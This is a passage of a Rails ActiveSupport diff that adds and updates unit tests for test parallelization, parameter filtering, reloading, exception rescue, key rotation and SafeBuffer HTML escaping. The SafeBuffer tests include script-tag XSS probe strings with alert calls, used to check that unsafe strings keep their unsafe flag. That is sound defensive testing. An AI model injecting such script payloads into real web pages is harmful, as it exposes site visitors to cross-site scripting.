+    # Verify different seeds produce different test assignments
+    # Different seeds -> different Minitest shuffling -> different round-robin distribution
+    assert_not_equal distributions[0], distributions[1]
+  end
+
+  test "default uses seeded distributor without work stealing" do
+    mock_runnable = Class.new do
+      def self.runnable_methods
+        ["test_a"]
+      end
+    end
+
+    Minitest::Runnable.stub :runnables, [mock_runnable] do
+      parallelization = ActiveSupport::Testing::Parallelization.new(2)
+      server = parallelization.instance_variable_get(:@queue_server)
+      distributor = server.instance_variable_get(:@distributor)
+
+      # Verify it's a seeded distributor
+      assert_instance_of ActiveSupport::Testing::Parallelization::RoundRobinDistributor, distributor
+    end
+  end
+
+  test "work_stealing: true uses seeded distributor with work stealing" do
+    mock_runnable = Class.new do
+      def self.runnable_methods
+        ["test_a"]
+      end
+    end
+
+    Minitest::Runnable.stub :runnables, [mock_runnable] do
+      parallelization = ActiveSupport::Testing::Parallelization.new(2, work_stealing: true)
+      server = parallelization.instance_variable_get(:@queue_server)
+      distributor = server.instance_variable_get(:@distributor)
+
+      # Verify it's a round robin work stealing distributor
+      assert_instance_of ActiveSupport::Testing::Parallelization::RoundRobinWorkStealingDistributor, distributor
+    end
+  end
+
+  test "thread pool executor uses seeded distributor by default" do
+    mock_runnable = Class.new do
+      def self.runnable_methods
+        ["test_a"]
+      end
+    end
+
+    Minitest.stub :seed, 12345 do
+      Minitest::Runnable.stub :runnables, [mock_runnable] do
+        executor = ActiveSupport::Testing::Parallelization::ThreadPoolExecutor.new(
+          size: 2,
+          distributor: ActiveSupport::Testing::Parallelization::RoundRobinDistributor.new(worker_count: 2)
+        )
+
+        # Verify the executor has the right interface
+        assert_respond_to executor, :start
+        assert_respond_to executor, :<<
+        assert_respond_to executor, :shutdown
+        assert_equal 2, executor.size
+      end
+    end
+  end
+end
diff --git a/activesupport/test/parameter_filter_test.rb b/activesupport/test/parameter_filter_test.rb
new file mode 100644
index 0000000000000..d38ecb2225053
--- /dev/null
+++ b/activesupport/test/parameter_filter_test.rb
@@ -0,0 +1,148 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require "active_support/core_ext/hash"
+require "active_support/parameter_filter"
+
+class ParameterFilterTest < ActiveSupport::TestCase
+  test "process parameter filter" do
+    test_hashes = [
+    [{ "foo" => "bar" }, { "foo" => "bar" }, %w'food'],
+    [{ "foo" => "bar" }, { "foo" => "[FILTERED]" }, %w'foo'],
+    [{ "foo" => "bar", "bar" => "foo" }, { "foo" => "[FILTERED]", "bar" => "foo" }, %w'foo baz'],
+    [{ "foo" => "bar", "baz" => "foo" }, { "foo" => "[FILTERED]", "baz" => "[FILTERED]" }, %w'foo baz'],
+    [{ "bar" => { "foo" => "bar", "bar" => "foo" } }, { "bar" => { "foo" => "[FILTERED]", "bar" => "foo" } }, %w'fo'],
+    [{ "foo" => { "foo" => "bar", "bar" => "foo" } }, { "foo" => "[FILTERED]" }, %w'f banana'],
+    [{ "deep" => { "cc" => { "code" => "bar", "bar" => "foo" }, "ss" => { "code" => "bar" } } }, { "deep" => { "cc" => { "code" => "[FILTERED]", "bar" => "foo" }, "ss" => { "code" => "bar" } } }, %w'deep.cc.code'],
+    [{ "baz" => [{ "foo" => "baz" }, "1"] }, { "baz" => [{ "foo" => "[FILTERED]" }, "1"] }, [/foo/]]]
+
+    test_hashes.each do |before_filter, after_filter, filter_words|
+      parameter_filter = ActiveSupport::ParameterFilter.new(filter_words)
+      assert_equal after_filter, parameter_filter.filter(before_filter)
+
+      filter_words << "blah"
+      filter_words << lambda { |key, value|
+        value.reverse! if /bargain/.match?(key)
+      }
+      filter_words << lambda { |key, value, original_params|
+        value.replace("world!") if original_params["barg"]["blah"] == "bar" && key == "hello"
+      }
+
+      filter_words << lambda { |key, value|
+        value.upcase! if key == "array_elements"
+      }
+
+      parameter_filter = ActiveSupport::ParameterFilter.new(filter_words)
+      before_filter["barg"] = { :bargain => "gain", "blah" => "bar", "bar" => { "bargain" => { "blah" => "foo", "hello" => "world" } } }
+      after_filter["barg"]  = { :bargain => "niag", "blah" => "[FILTERED]", "bar" => { "bargain" => { "blah" => "[FILTERED]", "hello" => "world!" } } }
+
+      before_filter["array_elements"] = %w(element1 element2)
+      after_filter["array_elements"] = %w(ELEMENT1 ELEMENT2)
+
+      assert_equal after_filter, parameter_filter.filter(before_filter)
+    end
+  end
+
+  test "filter should return mask option when value is filtered" do
+    mask = Object.new.freeze
+    test_hashes = [
+    [{ "foo" => "bar" }, { "foo" => "bar" }, %w'food'],
+    [{ "foo" => "bar" }, { "foo" => mask }, %w'foo'],
+    [{ "foo" => "bar", "bar" => "foo" }, { "foo" => mask, "bar" => "foo" }, %w'foo baz'],
+    [{ "foo" => "bar", "baz" => "foo" }, { "foo" => mask, "baz" => mask }, %w'foo baz'],
+    [{ "bar" => { "foo" => "bar", "bar" => "foo" } }, { "bar" => { "foo" => mask, "bar" => "foo" } }, %w'fo'],
+    [{ "foo" => { "foo" => "bar", "bar" => "foo" } }, { "foo" => mask }, %w'f banana'],
+    [{ "deep" => { "cc" => { "code" => "bar", "bar" => "foo" }, "ss" => { "code" => "bar" } } }, { "deep" => { "cc" => { "code" => mask, "bar" => "foo" }, "ss" => { "code" => "bar" } } }, %w'deep.cc.code'],
+    [{ "baz" => [{ "foo" => "baz" }, "1"] }, { "baz" => [{ "foo" => mask }, "1"] }, [/foo/]]]
+
+    test_hashes.each do |before_filter, after_filter, filter_words|
+      parameter_filter = ActiveSupport::ParameterFilter.new(filter_words, mask: mask)
+      assert_equal after_filter, parameter_filter.filter(before_filter)
+
+      filter_words << "blah"
+      filter_words << lambda { |key, value|
+        value.reverse! if /bargain/.match?(key)
+      }
+      filter_words << lambda { |key, value, original_params|
+        value.replace("world!") if original_params["barg"]["blah"] == "bar" && key == "hello"
+      }
+
+      parameter_filter = ActiveSupport::ParameterFilter.new(filter_words, mask: mask)
+      before_filter["barg"] = { :bargain => "gain", "blah" => "bar", "bar" => { "bargain" => { "blah" => "foo", "hello" => "world" } } }
+      after_filter["barg"]  = { :bargain => "niag", "blah" => mask, "bar" => { "bargain" => { "blah" => mask, "hello" => "world!" } } }
+
+      assert_equal after_filter, parameter_filter.filter(before_filter)
+    end
+  end
+
+  test "filter_param" do
+    parameter_filter = ActiveSupport::ParameterFilter.new(["foo", /bar/])
+    assert_equal "[FILTERED]", parameter_filter.filter_param("food", "secret value")
+    assert_equal "[FILTERED]", parameter_filter.filter_param("baz.foo", "secret value")
+    assert_equal "[FILTERED]", parameter_filter.filter_param("barbar", "secret value")
+    assert_equal "non secret value", parameter_filter.filter_param("baz", "non secret value")
+  end
+
+  test "filter_param can work with empty filters" do
+    parameter_filter = ActiveSupport::ParameterFilter.new
+    assert_equal "bar", parameter_filter.filter_param("foo", "bar")
+  end
+
+  test "parameter filter should maintain hash with indifferent access" do
+    test_hashes = [
+      [{ "foo" => "bar" }.with_indifferent_access, ["blah"]],
+      [{ "foo" => "bar" }.with_indifferent_access, []]
+    ]
+
+    test_hashes.each do |before_filter, filter_words|
+      parameter_filter = ActiveSupport::ParameterFilter.new(filter_words)
+      assert_instance_of ActiveSupport::HashWithIndifferentAccess,
+                         parameter_filter.filter(before_filter)
+    end
+  end
+
+  test "filter_param should return mask option when value is filtered" do
+    mask = Object.new.freeze
+    parameter_filter = ActiveSupport::ParameterFilter.new(["foo", /bar/], mask: mask)
+    assert_equal mask, parameter_filter.filter_param("food", "secret value")
+    assert_equal mask, parameter_filter.filter_param("baz.foo", "secret value")
+    assert_equal mask, parameter_filter.filter_param("barbar", "secret value")
+    assert_equal "non secret value", parameter_filter.filter_param("baz", "non secret value")
+  end
+
+  test "process parameter filter with hash having integer keys" do
+    test_hashes = [
+      [{ 13 => "bar" }, { 13 => "[FILTERED]" }, %w'13'],
+      [{ 20 => "bar" }, { 20 => "bar" }, %w'13'],
+    ]
+
+    test_hashes.each do |before_filter, after_filter, filter_words|
+      parameter_filter = ActiveSupport::ParameterFilter.new(filter_words)
+      assert_equal after_filter, parameter_filter.filter(before_filter)
+    end
+  end
+
+  test "precompile_filters" do
+    patterns = [/A.a/, /b.B/i, "ccC", :ddD]
+    keys = ["Aaa", "Bbb", "Ccc", "Ddd"]
+    deep_patterns = [/A\.a/, /b\.B/i, "c.C", :"d.D"]
+    deep_keys = ["A.a", "B.b", "C.c", "D.d"]
+    procs = [proc { }, proc { }]
+
+    precompiled = ActiveSupport::ParameterFilter.precompile_filters([*patterns, *deep_patterns, *procs])
+
+    assert_equal 2, precompiled.grep(Regexp).length
+    assert_equal 2 + procs.length, precompiled.length
+
+    regexp = precompiled.find { |filter| filter.to_s.include?(patterns.first.to_s) }
+    keys.each { |key| assert_match regexp, key }
+    assert_no_match regexp, keys.first.swapcase
+
+    deep_regexp = precompiled.find { |filter| filter.to_s.include?(deep_patterns.first.to_s) }
+    deep_keys.each { |deep_key| assert_match deep_regexp, deep_key }
+    assert_no_match deep_regexp, deep_keys.first.swapcase
+
+    assert_not_equal regexp, deep_regexp
+    assert_equal procs, precompiled & procs
+  end
+end
diff --git a/activesupport/test/reloader_test.rb b/activesupport/test/reloader_test.rb
index bdd80307c7ccf..3b33b7d9efea7 100644
--- a/activesupport/test/reloader_test.rb
+++ b/activesupport/test/reloader_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 
 class ReloaderTest < ActiveSupport::TestCase
   def test_prepare_callback
@@ -6,18 +8,18 @@ def test_prepare_callback
     reloader.to_prepare { prepared = true }
     reloader.to_complete { completed = true }
 
-    assert !prepared
-    assert !completed
+    assert_not prepared
+    assert_not completed
     reloader.prepare!
     assert prepared
-    assert !completed
+    assert_not completed
 
     prepared = false
     reloader.wrap do
       assert prepared
       prepared = false
     end
-    assert !prepared
+    assert_not prepared
   end
 
   def test_prepend_prepare_callback
@@ -33,14 +35,14 @@ def test_only_run_when_check_passes
     r = new_reloader { true }
     invoked = false
     r.to_run { invoked = true }
-    r.wrap {}
+    r.wrap { }
     assert invoked
 
     r = new_reloader { false }
     invoked = false
     r.to_run { invoked = true }
-    r.wrap {}
-    assert !invoked
+    r.wrap { }
+    assert_not invoked
   end
 
   def test_full_reload_sequence
@@ -51,7 +53,7 @@ def test_full_reload_sequence
     reloader.executor.to_run { called << :executor_run }
     reloader.executor.to_complete { called << :executor_complete }
 
-    reloader.wrap {}
+    reloader.wrap { }
     assert_equal [:executor_run, :reloader_run, :prepare, :reloader_complete, :executor_complete], called
 
     called = []
@@ -61,7 +63,7 @@ def test_full_reload_sequence
     reloader.check = lambda { false }
 
     called = []
-    reloader.wrap {}
+    reloader.wrap { }
     assert_equal [:executor_run, :executor_complete], called
 
     called = []
@@ -83,6 +85,17 @@ def test_class_unload_block
     assert_equal [:before_unload, :unload, :after_unload, :body], called
   end
 
+  def test_report_errors_once
+    reports = ErrorCollector.record do
+      assert_raises RuntimeError do
+        reloader.wrap do
+          raise "Oops"
+        end
+      end
+    end
+    assert_equal 1, reports.size
+  end
+
   private
     def new_reloader(&check)
       Class.new(ActiveSupport::Reloader).tap do |r|
diff --git a/activesupport/test/rescuable_test.rb b/activesupport/test/rescuable_test.rb
index f7eb047d441a7..f590c580925a4 100644
--- a/activesupport/test/rescuable_test.rb
+++ b/activesupport/test/rescuable_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 
 class WraithAttack < StandardError
 end
@@ -43,7 +45,9 @@ class NuclearExplosion < StandardError; end
   def dispatch(method)
     send(method)
   rescue Exception => e
-    rescue_with_handler(e)
+    unless rescue_with_handler(e)
+      @result = "unhandled"
+    end
   end
 
   def attack
@@ -58,6 +62,26 @@ def ronanize
     raise MadRonon.new("dex")
   end
 
+  def crash
+    raise "unhandled RuntimeError"
+  end
+
+  def looped_crash
+    ex1 = StandardError.new("error 1")
+    ex2 = StandardError.new("error 2")
+    begin
+      begin
+        raise ex1
+      rescue
+        # sets the cause on ex2 to be ex1
+        raise ex2
+      end
+    rescue
+      # sets the cause on ex1 to be ex2
+      raise ex1
+    end
+  end
+
   def fall_back_to_cause
     # This exception is the cause and has a handler.
     ronanize
@@ -139,4 +163,14 @@ def test_rescue_falls_back_to_exception_cause
     @stargate.dispatch :fall_back_to_cause
     assert_equal "dex", @stargate.result
   end
+
+  def test_unhandled_exceptions
+    @stargate.dispatch(:crash)
+    assert_equal "unhandled", @stargate.result
+  end
+
+  def test_rescue_handles_loops_in_exception_cause_chain
+    @stargate.dispatch :looped_crash
+    assert_equal "unhandled", @stargate.result
+  end
 end
diff --git a/activesupport/test/rotation_coordinator_tests.rb b/activesupport/test/rotation_coordinator_tests.rb
new file mode 100644
index 0000000000000..c173ad58e128e
--- /dev/null
+++ b/activesupport/test/rotation_coordinator_tests.rb
@@ -0,0 +1,233 @@
+# frozen_string_literal: true
+
+module RotationCoordinatorTests
+  extend ActiveSupport::Concern
+
+  included do
+    setup do
+      @coordinator = make_coordinator.rotate_defaults
+    end
+
+    test "builds working codecs" do
+      codec = @coordinator["salt"]
+      other_codec = @coordinator["other salt"]
+
+      assert_equal "message", roundtrip("message", codec)
+      assert_nil roundtrip("message", codec, other_codec)
+    end
+
+    test "memoizes codecs" do
+      assert_same @coordinator["salt"], @coordinator["salt"]
+    end
+
+    test "can override codecs" do
+      @coordinator["other salt"] = @coordinator["salt"]
+      assert_same @coordinator["salt"], @coordinator["other salt"]
+    end
+
+    test "configures codecs with rotations" do
+      @coordinator.rotate(digest: "MD5")
+      codec = @coordinator["salt"]
+      obsolete_codec = (make_coordinator.rotate(digest: "MD5"))["salt"]
+
+      assert_equal "message", roundtrip("message", obsolete_codec, codec)
+      assert_nil roundtrip("message", codec, obsolete_codec)
+    end
+
+    test "prioritizes prepended rotations" do
+      @coordinator.prepend(digest: "MD5")
+      codec = @coordinator["salt"]
+
+      old_codec = (make_coordinator.rotate(digest: "MD5"))["salt"]
+      assert_equal "message", roundtrip("message", codec, old_codec)
+
+      new_codec = (make_coordinator.rotate_defaults)["salt"]
+      assert_equal "message", roundtrip("message", new_codec, codec)
+    end
+
+    test "raises when building a codec and no rotations are configured" do
+      assert_raises { make_coordinator["salt"] }
+    end
+
+    test "#rotate supports a block" do
+      coordinator = make_coordinator.rotate do |salt|
+        { digest: salt == "salt" ? "SHA1" : "MD5" }
+      end
+
+      sha1_coordinator = make_coordinator.rotate(digest: "SHA1")
+      md5_coordinator = make_coordinator.rotate(digest: "MD5")
+
+      assert_equal "message", roundtrip("message", coordinator["salt"], sha1_coordinator["salt"])
+      assert_nil roundtrip("message", coordinator["salt"], md5_coordinator["salt"])
+
+      assert_equal "message", roundtrip("message", coordinator["other salt"], md5_coordinator["other salt"])
+      assert_nil roundtrip("message", coordinator["other salt"], sha1_coordinator["other salt"])
+    end
+
+    test "#rotate block receives salt in its original form" do
+      coordinator = make_coordinator.rotate do |salt|
+        assert_equal :salt, salt
+        {}
+      end
+
+      coordinator[:salt]
+    end
+
+    test "#rotate raises when both a block and options are provided" do
+      assert_raises ArgumentError do
+        make_coordinator.rotate(digest: "MD5") { {} }
+      end
+    end
+
+    test "#rotate block can return nil to skip a rotation for specific salts" do
+      coordinator = make_coordinator.rotate(digest: "SHA1")
+      coordinator.rotate do |salt|
+        { digest: "MD5" } if salt == "salt"
+      end
+
+      sha1_coordinator = make_coordinator.rotate(digest: "SHA1")
+      md5_coordinator = make_coordinator.rotate(digest: "MD5")
+
+      assert_equal "message", roundtrip("message", sha1_coordinator["salt"], coordinator["salt"])
+      assert_equal "message", roundtrip("message", md5_coordinator["salt"], coordinator["salt"])
+
+      assert_equal "message", roundtrip("message", sha1_coordinator["other salt"], coordinator["other salt"])
+      assert_nil roundtrip("message", md5_coordinator["other salt"], coordinator["other salt"])
+    end
+
+    test "raises when building a codec and no rotations are configured for a specific salt" do
+      coordinator = make_coordinator.rotate do |salt|
+        { digest: "MD5" } if salt == "salt"
+      end
+
+      assert_nothing_raised { coordinator["salt"] }
+      error = assert_raises { coordinator["other salt"] }
+      assert_match "other salt", error.message
+    end
+
+    test "#transitional swaps the first two rotations when enabled" do
+      coordinator = make_coordinator.rotate(digest: "SHA1")
+      coordinator.rotate(digest: "MD5")
+      coordinator.rotate(digest: "SHA256")
+      coordinator.transitional = true
+
+      codec = coordinator["salt"]
+      sha1_codec = (make_coordinator.rotate(digest: "SHA1"))["salt"]
+      md5_codec = (make_coordinator.rotate(digest: "MD5"))["salt"]
+      sha256_codec = (make_coordinator.rotate(digest: "SHA256"))["salt"]
+
+      assert_equal "message", roundtrip("message", codec, md5_codec)
+      assert_nil roundtrip("message", codec, sha1_codec)
+
+      assert_equal "message", roundtrip("message", sha1_codec, codec)
+      assert_equal "message", roundtrip("message", md5_codec, codec)
+      assert_equal "message", roundtrip("message", sha256_codec, codec)
+    end
+
+    test "#transitional works with a single rotation" do
+      @coordinator.transitional = true
+
+      assert_nothing_raised do
+        codec = @coordinator["salt"]
+        assert_equal "message", roundtrip("message", codec)
+
+        different_codec = (make_coordinator.rotate(digest: "MD5"))["salt"]
+        assert_nil roundtrip("message", different_codec, codec)
+      end
+    end
+
+    test "#transitional treats a nil first rotation as a new rotation" do
+      coordinator = make_coordinator
+      coordinator.rotate do |salt|       # (3) Finally, one salt upgraded to SHA1
+        { digest: "SHA1" } if salt == "salt"
+      end
+      coordinator.rotate(digest: "MD5")  # (2) Then, everything upgraded to MD5
+      coordinator.rotate(digest: "SHA256")  # (1) Originally, everything used SHA256
+      coordinator.transitional = true
+
+      sha1_coordinator = make_coordinator.rotate(digest: "SHA1")
+      md5_coordinator = make_coordinator.rotate(digest: "MD5")
+
+      # "salt" encodes with MD5 and can decode SHA1 (i.e. [SHA1, MD5, SHA256] => [MD5, SHA1, SHA256])
+      assert_equal "message", roundtrip("message", coordinator["salt"], md5_coordinator["salt"])
+      assert_equal "message", roundtrip("message", sha1_coordinator["salt"], coordinator["salt"])
+
+      # "other salt" encodes with MD5 and cannot decode SHA1 (i.e. [nil, MD5, SHA256] => [MD5, SHA256])
+      assert_equal "message", roundtrip("message", coordinator["other salt"], md5_coordinator["other salt"])
+      assert_nil roundtrip("message", sha1_coordinator["other salt"], coordinator["other salt"])
+    end
+
+    test "#transitional swaps the first rotation with the next non-nil rotation" do
+      coordinator = make_coordinator
+      coordinator.rotate(digest: "SHA1") # (3) Finally, everything upgraded to SHA1
+      coordinator.rotate do |salt|       # (2) Then, one salt upgraded to SHA1
+        { digest: "SHA1" } if salt == "salt"
+      end
+      coordinator.rotate(digest: "MD5")  # (1) Originally, everything used MD5
+      coordinator.transitional = true
+
+      sha1_coordinator = make_coordinator.rotate(digest: "SHA1")
+      md5_coordinator = make_coordinator.rotate(digest: "MD5")
+
+      # "salt" encodes with SHA1 and can decode SHA1 (i.e. [SHA1, SHA1, MD5] => [SHA1, MD5])
+      assert_equal "message", roundtrip("message", coordinator["salt"], sha1_coordinator["salt"])
+      assert_equal "message", roundtrip("message", sha1_coordinator["salt"], coordinator["salt"])
+
+      # "other salt" encodes with MD5 and can decode SHA1 (i.e. [SHA1, nil, MD5] => [MD5, SHA1])
+      assert_equal "message", roundtrip("message", coordinator["other salt"], md5_coordinator["other salt"])
+      assert_equal "message", roundtrip("message", sha1_coordinator["other salt"], coordinator["other salt"])
+    end
+
+    test "can clear rotations" do
+      @coordinator.clear_rotations.rotate(digest: "MD5")
+      codec = @coordinator["salt"]
+      similar_codec = (make_coordinator.rotate(digest: "MD5"))["salt"]
+
+      assert_equal "message", roundtrip("message", codec, similar_codec)
+    end
+
+    test "configures codecs with on_rotation" do
+      rotated = 0
+      @coordinator.on_rotation { rotated += 1 }
+      @coordinator.rotate(digest: "MD5")
+      codec = @coordinator["salt"]
+      obsolete_codec = (make_coordinator.rotate(digest: "MD5"))["salt"]
+
+      assert_equal "message", roundtrip("message", obsolete_codec, codec)
+      assert_equal 1, rotated
+    end
+
+    test "rotation options are deduped" do
+      coordinator = make_coordinator
+      coordinator.rotate(digest: "SHA1") # (3) Finally, everything upgraded to SHA1
+      coordinator.rotate do |salt|       # (2) Then, one salt upgraded to SHA1
+        { digest: "SHA1" } if salt == "salt"
+      end
+      coordinator.rotate(digest: "MD5")  # (1) Originally, everything used MD5
+
+      rotated = 0
+      coordinator.on_rotation { rotated += 1 }
+
+      codec = coordinator["salt"]
+      md5_codec = (make_coordinator.rotate(digest: "MD5"))["salt"]
+
+      assert_equal "message", roundtrip("message", md5_codec, codec)
+      assert_equal 1, rotated # SHA1 tried only once
+    end
+
+    test "prevents adding a rotation after rotations have been applied" do
+      @coordinator["salt"]
+      assert_raises { @coordinator.rotate(digest: "MD5") }
+    end
+
+    test "prevents clearing rotations after rotations have been applied" do
+      @coordinator["salt"]
+      assert_raises { @coordinator.clear_rotations }
+    end
+
+    test "prevents changing on_rotation after on_rotation has been applied" do
+      @coordinator["salt"]
+      assert_raises { @coordinator.on_rotation { "this block will not be evaluated" } }
+    end
+  end
+end
diff --git a/activesupport/test/safe_buffer_test.rb b/activesupport/test/safe_buffer_test.rb
index 36c068b91fae7..5e610d40802fb 100644
--- a/activesupport/test/safe_buffer_test.rb
+++ b/activesupport/test/safe_buffer_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "active_support/core_ext/string/inflections"
 require "yaml"
 
@@ -23,7 +25,8 @@ def test_titleize
 
   test "Should NOT escape a safe value passed to it" do
     @buffer << "<script>".html_safe
-    assert_equal "<script>", @buffer
+    @buffer << "hello &amp; goodbye".html_safe
+    assert_equal("<script>hello &amp; goodbye", @buffer)
   end
 
   test "Should not mess with an innocuous string" do
@@ -37,7 +40,7 @@ def test_titleize
   end
 
   test "Should be considered safe" do
-    assert @buffer.html_safe?
+    assert_predicate @buffer, :html_safe?
   end
 
   test "Should return a safe buffer when calling to_s" do
@@ -73,16 +76,73 @@ def test_titleize
     assert_equal "my_test", str
   end
 
-  test "Should not return safe buffer from gsub" do
-    altered_buffer = @buffer.gsub("", "asdf")
-    assert_equal "asdf", altered_buffer
-    assert !altered_buffer.html_safe?
+  {
+    capitalize: nil,
+    chomp: nil,
+    chop: nil,
+    delete: "foo",
+    delete_prefix: "foo",
+    delete_suffix: "foo",
+    downcase: nil,
+    gsub: ["foo", "bar"],
+    lstrip: nil,
+    next: nil,
+    reverse: nil,
+    rstrip: nil,
+    scrub: nil,
+    squeeze: nil,
+    strip: nil,
+    sub: ["foo", "bar"],
+    succ: nil,
+    swapcase: nil,
+    tr: ["foo", "bar"],
+    tr_s: ["foo", "bar"],
+    unicode_normalize: nil,
+    upcase: nil,
+  }.each do |unsafe_method, dummy_args|
+    test "Should not return safe buffer from #{unsafe_method}" do
+      skip unless String.method_defined?(unsafe_method)
+      altered_buffer = @buffer.public_send(unsafe_method, *dummy_args)
+      assert_not_predicate altered_buffer, :html_safe?
+    end
+
+    test "Should not return safe buffer from #{unsafe_method}!" do
+      skip unless String.method_defined?("#{unsafe_method}!")
+      @buffer.public_send("#{unsafe_method}!", *dummy_args)
+      assert_not_predicate @buffer, :html_safe?
+    end
   end
 
-  test "Should not return safe buffer from gsub!" do
-    @buffer.gsub!("", "asdf")
-    assert_equal "asdf", @buffer
-    assert !@buffer.html_safe?
+  test "can assign value into zero-index" do
+    buffer = ActiveSupport::SafeBuffer.new("012345")
+
+    buffer[0] = "<"
+
+    assert_equal "&lt;12345", buffer
+  end
+
+  test "can assign value into non zero-index" do
+    buffer = ActiveSupport::SafeBuffer.new("012345")
+
+    buffer[2] = "<"
+
+    assert_equal "01&lt;345", buffer
+  end
+
+  test "can assign value into slice" do
+    buffer = ActiveSupport::SafeBuffer.new("012345")
+
+    buffer[0, 3] = "<"
+
+    assert_equal "&lt;345", buffer
+  end
+
+  test "can assign value into offset slice" do
+    buffer = ActiveSupport::SafeBuffer.new("012345")
+
+    buffer[1, 3] = "<"
+
+    assert_equal "0&lt;45", buffer
   end
 
   test "Should escape dirty buffers on add" do
@@ -91,6 +151,14 @@ def test_titleize
     assert_equal "hello&lt;&gt;", clean + @buffer
   end
 
+  test "Should preserve html_safe? status on multiplication" do
+    multiplied_safe_buffer = "<br />".html_safe * 2
+    assert_predicate multiplied_safe_buffer, :html_safe?
+
+    multiplied_unsafe_buffer = @buffer.gsub("", "<>") * 2
+    assert_not_predicate multiplied_unsafe_buffer, :html_safe?
+  end
+
   test "Should concat as a normal string when safe" do
     clean = "hello".html_safe
     @buffer.gsub!("", "<>")
@@ -99,13 +167,20 @@ def test_titleize
 
   test "Should preserve html_safe? status on copy" do
     @buffer.gsub!("", "<>")
-    assert !@buffer.dup.html_safe?
+    assert_not_predicate @buffer.dup, :html_safe?
+  end
+
+  test "Can call html_safe on a safe buffer" do
+    @buffer = "hello".html_safe
+    extra_safe = @buffer.html_safe
+    assert_equal "hello", extra_safe
+    assert_predicate extra_safe, :html_safe?
   end
 
   test "Should return safe buffer when added with another safe buffer" do
     clean = "<script>".html_safe
     result_buffer = @buffer + clean
-    assert result_buffer.html_safe?
+    assert_predicate result_buffer, :html_safe?
     assert_equal "<script>", result_buffer
   end
 
@@ -120,32 +195,66 @@ def test_titleize
     assert_kind_of NilClass, @buffer.slice("chipchop")
   end
 
-  test "clone_empty returns an empty buffer" do
-    assert_equal "", ActiveSupport::SafeBuffer.new("foo").clone_empty
-  end
-
-  test "clone_empty keeps the original dirtyness" do
-    assert @buffer.clone_empty.html_safe?
-    assert !@buffer.gsub!("", "").clone_empty.html_safe?
-  end
-
   test "Should be safe when sliced if original value was safe" do
     new_buffer = @buffer[0, 0]
     assert_not_nil new_buffer
-    assert new_buffer.html_safe?, "should be safe"
+    assert_predicate new_buffer, :html_safe?, "should be safe"
   end
 
   test "Should continue unsafe on slice" do
-    x = "foo".html_safe.gsub!("f", '<script>alert("lolpwnd");</script>')
+    safe_string = "foo".html_safe.gsub!("f", '<script>alert("lolpwnd");</script>')
 
     # calling gsub! makes the dirty flag true
-    assert !x.html_safe?, "should not be safe"
-
-    # getting a slice of it
-    y = x[0..-1]
+    assert_not safe_string.html_safe?, "should not be safe"
 
     # should still be unsafe
-    assert !y.html_safe?, "should not be safe"
+    assert_not safe_string[0..-1].html_safe?, "should not be safe"
+    assert_not safe_string.slice(0..-1).html_safe?, "should not be safe"
+    assert_not safe_string.slice!(0..-1).html_safe?, "should not be safe"
+    # even after slice! safe_string is still unsafe
+    assert_not safe_string.html_safe?, "should not be safe"
+  end
+
+  test "Should continue safe on slice" do
+    safe_string = "<div>foo</div>".html_safe
+
+    assert_predicate safe_string, :html_safe?
+
+    # should still be safe
+    assert_predicate safe_string[0..-1], :html_safe?
+    assert_predicate safe_string.slice(0..-1), :html_safe?
+    assert_predicate safe_string.slice!(0...1), :html_safe?
+
+    # even after slice! safe_string is still safe
+    assert_predicate safe_string, :html_safe?
+  end
+
+  test "Should continue safe on chr" do
+    safe_string = "<div>foo</div>".html_safe
+
+    assert_predicate safe_string, :html_safe?
+    assert_predicate safe_string.chr, :html_safe?
+  end
+
+  test "Should continue unsafe on chr" do
+    safe_string = "<div>foo</div>"
+
+    assert_not safe_string.html_safe?, "should not be safe"
+    assert_not safe_string.chr.html_safe?, "should not be safe"
+  end
+
+  test "Should return a SafeBuffer on slice! if original value was safe" do
+    safe_string = "<div>foo</div>".html_safe
+
+    assert safe_string.slice!(0...1).is_a?(ActiveSupport::SafeBuffer)
+  end
+
+  test "Should return a String on slice! if original value was not safe" do
+    unsafe_string = +'<script>alert("XSS");</script>'
+
+    sliced_string = unsafe_string.slice!(0...1)
+    assert_not sliced_string.is_a?(ActiveSupport::SafeBuffer)
+    assert sliced_string.is_a?(String)
   end
 
   test "Should work with interpolation (array argument)" do
@@ -170,11 +279,34 @@ def test_titleize
 
   test "Should interpolate to a safe string" do
     x = "foo %{x} bar".html_safe % { x: "qux" }
-    assert x.html_safe?, "should be safe"
+    assert_predicate x, :html_safe?, "should be safe"
   end
 
   test "Should not affect frozen objects when accessing characters" do
     x = "Hello".html_safe
     assert_nil x[/a/, 1]
   end
+
+  test "Should set back references" do
+    a = "foo123".html_safe
+    a2 = a.sub(/([a-z]+)([0-9]+)/) { $2 + $1 }
+    assert_equal "123foo", a2
+    assert_not_predicate a2, :html_safe?
+    a.sub!(/([a-z]+)([0-9]+)/) { $2 + $1 }
+    assert_equal "123foo", a
+    assert_not_predicate a, :html_safe?
+
+    b = "foo123 bar456".html_safe
+    b2 = b.gsub(/([a-z]+)([0-9]+)/) { $2 + $1 }
+    assert_equal "123foo 456bar", b2
+    assert_not_predicate b2, :html_safe?
+    b.gsub!(/([a-z]+)([0-9]+)/) { $2 + $1 }
+    assert_equal "123foo 456bar", b
+    assert_not_predicate b, :html_safe?
+  end
+
+  test "Should support Enumerator" do
+    a = "aaa".html_safe.gsub!(/a/).with_index { |m, i| i }
+    assert_equal "012", a
+  end
 end
diff --git a/activesupport/test/secure_compare_rotator_test.rb b/activesupport/test/secure_compare_rotator_test.rb
new file mode 100644
index 0000000000000..2b7c792625c8d
--- /dev/null
+++ b/activesupport/test/secure_compare_rotator_test.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require "active_support/secure_compare_rotator"
+
+class SecureCompareRotatorTest < ActiveSupport::TestCase
+  test "#secure_compare! works correctly after rotation" do
+    wrapper = ActiveSupport::SecureCompareRotator.new("old_secret")
+    wrapper.rotate("new_secret")
+
+    assert_equal(true, wrapper.secure_compare!("new_secret"))
+  end
+
+  test "#secure_compare! works correctly after multiple rotation" do
+    wrapper = ActiveSupport::SecureCompareRotator.new("old_secret")
+    wrapper.rotate("new_secret")
+    wrapper.rotate("another_secret")
+    wrapper.rotate("and_another_one")
+
